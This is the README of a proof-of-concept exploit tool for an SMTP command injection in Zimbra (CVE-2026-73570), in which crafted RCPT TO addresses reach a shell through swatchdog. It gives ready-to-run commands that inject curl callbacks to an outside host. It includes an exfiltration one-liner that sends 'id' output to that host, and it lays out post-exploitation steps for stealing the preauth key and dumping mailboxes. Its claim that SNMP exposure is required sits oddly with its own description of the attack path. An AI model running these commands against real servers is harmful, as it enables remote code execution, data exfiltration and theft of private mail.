
Python PoC for CVE-2026-73570, an SMTP command injection in Zimbra. Sends malformed RCPT TO payloads to trigger shell command execution via swatchdog, with auto port scanning and OOB verification.
A custom, low-level Python proof-of-concept (PoC) script for testing SMTP command injection vulnerabilities (CVE-2026-73570).
This tool sends a malformed RCPT TO address containing shell-style command substitution (e.g., $(command)) to determine if the target mail server or its downstream processing pipeline improperly passes the address through a shell without sanitization.
⚠️ DISCLAIMER: This tool is intended for educational purposes and authorized security testing ONLY. Ensure you have explicit permission to test the target infrastructure. Unauthorized scanning or exploitation of mail servers is illegal.
Not every Zimbra box is vulnerable. All of these conditions must be true:
zimbra-snmp package is installed (often prompted at installation).snmp_notify).swatchdog service is running (on by default).The attack does need SNMP (UDP/161/162) exposed to the attacker. The malicious input arrives over standard SMTP.
The swatchdog process tails /var/log/zimbra.log using configuration from /opt/zimbra/conf/swatchrc.in. It actively matches log entries using the following regular expressions:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
The (.*) capture group is treated as a service name. The dosnmp script then interpolates that captured text directly into a Perl backtick snmptrap command. Because Perl backticks execute via the system shell, any shell metacharacters captured in (.*) are evaluated and executed.
Attackers get the malicious text into the log by sending an SMTP command (like RCPT TO) whose argument looks like a real service-status line. Postfix logs this as illegal address syntax, but swatchdog still matches the regex in the log line and passes the payload to the shell.
smtplib internal address validation to send raw, non-RFC-compliant payloads exactly as an attacker would.--command flag.argparse for easy integration into testing workflows.Save the script to a file named CVE-2026-73570.py (or any name you prefer):
# Example: download or create the file
nano CVE-2026-73570.py
You can run the script in several ways depending on your testing scenario.
If you don't specify a port, the script will scan ports 25, 465, and 587, and automatically target the first open one.
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
If you already know the target port (e.g., 465), you can skip the scanning guesswork.
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
If you just want to check which mail ports are open on a target without sending the payload.
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
| Argument | Short | Description | Default |
|---|---|---|---|
--host | -H | Target host IP or domain. | 127.0.0.1 |
--port | -p | Target port. If omitted, scans 25, 465, 587 and targets an open one. | None (Auto) |
--command | -c | Shell command to inject into the SMTP payload. | TEST_PAYLOAD |
--scan-only | -s | Only scan ports and exit without sending the injection payload. | False |
Running the script alone only proves that the mail server receives the malformed RCPT TO address. To confirm the actual command injection without needing direct access to the target's filesystem or logs, use an Out-Of-Band (OOB) callback via HTTP.
http://xyz123.requestrepo.com).curl to hit your unique URL:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
Pro-Tip (Data Exfiltration): You can exfiltrate the output of commands by injecting it into the URL path of your callback:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
Check your Request Repo dashboard to see the uid=0(root) output in the requested path.
During testing, you may receive an SMTP response like this:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
Do NOT assume the vulnerability has failed simply because the address was rejected.
Many mail servers (like Postfix or Exim) will syntactically accept the payload during the SMTP transaction, but immediately reject the delivery attempt because the domain/recipient isn't in their allowed relay list.
The CVE-2026-73570 vulnerability triggers after this rejection occurs. The malicious string flows into /var/log/zimbra.log as an illegal address syntax log entry. swatchdog tails this log, matches the payload, and passes it to the shell.
Because the payload still reaches these backend systems for logging, the command substitution ($()) is still executed. Always rely on your OOB callback (e.g., Request Repo) to verify success, regardless of the SMTP response code.
Once command execution is achieved via the swatchdog injection, the attacker typically operates as the zimbra user. From here, the primary goal is often to access the mailbox data.
To facilitate this next step, you can use zimbraKing — a custom tool designed to dump Zimbra mailboxes.
Usage Scenario:
During your post-exploitation phase, if you are able to read the Zimbra configuration files and extract the preAuthKey (usually found in /opt/zimbra/conf/localconfig.xml under the key zimbra_preauth_key) or if you obtain valid Zimbra account credentials, you can feed those into zimbraKing.
The tool leverages the preAuthKey or account credentials to authenticate against the Zimbra SOAP API and systematically dump the target mailbox contents without needing to directly interact with the underlying database or filesystem.
smtplib?Python's built-in smtplib enforces strict RFC standards. If you try to pass an address containing ", $, (, and ) through smtplib.sendmail(), the library will either mangle the string to make it "safe" or raise a SMTPRecipientsRefused exception before the data ever reaches the network. This custom client uses raw sockets to guarantee byte-for-byte delivery of the exploit payload.